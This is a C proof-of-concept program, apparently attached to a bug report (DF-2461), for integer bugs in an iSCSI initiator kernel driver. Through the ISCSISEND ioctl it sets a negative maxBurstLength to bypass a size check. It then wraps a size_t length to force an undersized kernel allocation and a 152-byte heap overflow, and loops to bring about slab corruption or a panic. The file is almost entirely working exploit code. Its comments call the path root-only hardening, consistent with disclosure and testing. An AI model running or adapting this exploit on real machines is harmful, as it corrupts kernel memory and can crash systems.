/*
 * df2461.c - Demonstrate the i_prepPDU() integer bugs (DF-2461):
 *   (A) negative maxBurstLength acceptance -> E2BIG safety-net bypass
 *   (B) size_t -> u_int (pq->len) truncation -> undersized kmalloc, then
 *       copyin(ahs, tiny_buf, full_ahs_len) -> kernel heap overflow
 *
 * Both via the ISCSISEND ioctl on /dev/iscsiN.
 *
 * PRIVILEGE: /dev/iscsi* is UID_ROOT,GID_WHEEL,0600 (iscsi.c:641,762) and
 * ISCSISEND has no internal priv check. This is a ROOT-ONLY path: root->kernel
 * corruption is game-over by definition (root can kldload). Hence this is a
 * hardening / defense-in-depth defect, NOT an unprivileged escalation.
 *
 * On GENERIC (INVARIANTS ON) the slab corruption is caught on a subsequent
 * alloc/free of a corrupted neighbour chunk ("malloc: bad chunk" panic) or, if
 * the overflow crosses a slab-page boundary, copyin() traps the kernel-side
 * fault and returns EFAULT (a partial-overflow mitigation). On a noinv kernel
 * the overflow is silent.
 *
 * Build: cc -I/usr/src/sys/dev/disk/iscsi/initiator -o df2461 df2461.c
 * Run:   (mtarget hold 3260 &) ; ./df2461
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#include "iscsi.h"

static int g_nfd;

/* open a session and hand a connected socket to the kernel (sets sp->soc,
   otherwise i_send() returns ENOTCONN). maxBurst defaults to 65536 here. */
static int setup_session(const char *ip, int port) {
    int fd = open("/dev/iscsi", O_RDWR);
    int nfd, soc, sid = -1;
    char dev[32];
    struct sockaddr_in sa;
    if (fd < 0) { perror("open /dev/iscsi"); return -1; }
    if (ioctl(fd, ISCSISETSES, &sid) < 0) { perror("ISCSISETSES"); return -1; }
    close(fd);
    snprintf(dev, sizeof(dev), "/dev/iscsi%d", sid);
    nfd = open(dev, O_RDWR);
    if (nfd < 0) { perror(dev); return -1; }
    soc = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET; sa.sin_port = htons(port);
    inet_pton(AF_INET, ip, &sa.sin_addr);
    if (connect(soc, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("connect"); return -1; }
    if (ioctl(nfd, ISCSISETSOC, &soc) < 0) { perror("ISCSISETSOC"); return -1; }
    return nfd;
}

static int send_pdu(unsigned ahs_len, unsigned ds_len, unsigned char *ahs) {
    pdu_t p;
    int rc;
    memset(&p, 0, sizeof(p));
    p.ipdu.bhs.opcode = 0x00; p.ipdu.bhs.I = 1; p.ipdu.bhs.F = 1;
    p.ahs = (ahs_t *)ahs; p.ahs_len = ahs_len; p.ahs_size = ahs_len;
    p.ds = NULL; p.ds_len = ds_len;
    rc = ioctl(g_nfd, ISCSISEND, &p);
    return rc;
}

int main(int argc, char **argv) {
    const char *ip = argc > 1 ? argv[1] : "127.0.0.1";
    int port = argc > 2 ? atoi(argv[2]) : 3260;
    int churn = argc > 3 ? atoi(argv[3]) : 400;
    unsigned char *big = malloc(131072);
    unsigned char *ahs = malloc(65536);
    int rc;
    isc_opt_t opt;

    if (!big || !ahs) { perror("malloc"); return 9; }
    memset(big, 0x42, 131072);
    memset(ahs, 0x41, 65536);

    g_nfd = setup_session(ip, port);
    if (g_nfd < 0) return 2;
    printf("[setup] session up, sp->soc set (default maxBurstLength=65536)\n");

    /* ---- (A) E2BIG safety net, DEFAULT maxBurstLength ---- */
    printf("\n=== (A) default maxBurstLength=65536, oversized ahs_len=70000 ===\n");
    rc = send_pdu(70000, 0, big);   /* len=48+70000=70048 > 65536 -> expect E2BIG */
    printf("  ISCSISEND rc=%d errno=%d (%s)   <-- expect E2BIG(7)\n",
           rc, errno, strerror(errno));

    /* ---- (A2) set maxBurstLength = -1, same oversized PDU ---- */
    memset(&opt, 0, sizeof(opt));
    opt.maxBurstLength = -1;        /* accepted: only guard is !=0 */
    if (ioctl(g_nfd, ISCSISETOPT, &opt) < 0) { perror("ISCSISETOPT"); return 3; }
    printf("\n=== (A2) maxBurstLength set to -1 (0x%x), SAME oversized ahs_len=70000 ===\n",
           (unsigned)-1);
    rc = send_pdu(70000, 0, big);
    printf("  ISCSISEND rc=%d errno=%d (%s)   <-- E2BIG BYPASSED (reached copyin)\n",
           rc, errno, strerror(errno));

    /* ---- (B) truncation -> undersized kmalloc + full-length copyin = overflow ---- */
    printf("\n=== (B) truncation overflow: ahs_len=200 ds_len chosen to wrap len -> 0x60 ===\n");
    printf("    size_t len = 48+200+ds_len wraps (mod 2^32) to 96 -> pq->len=96\n");
    printf("    -> kmalloc(48) -> kmalloc-64 chunk, copyin(200) = 152-byte overflow\n");
    {
        unsigned ds_len = (unsigned)(0x60u - 48u - 200u);  /* wraps len to 0x60 */
        int i, hits = 0, eagain = 0;
        printf("    ds_len=0x%x ; churning %d iterations to surface slab corruption\n",
               ds_len, churn);
        for (i = 0; i < churn; i++) {
            rc = send_pdu(200, ds_len, ahs);
            if (rc == 0) hits++;
            if (errno == EAGAIN) eagain++;
            if (i < 3)
                printf("    iter %d: rc=%d errno=%d (%s)\n", i, rc, errno, strerror(errno));
            fflush(stdout);
        }
        printf("    done: %d iters, %d reached copyin (rc=0), %d EAGAIN\n",
               churn, hits, eagain);
    }
    printf("\nstill alive\n");
    free(big); free(ahs);
    return 0;
}
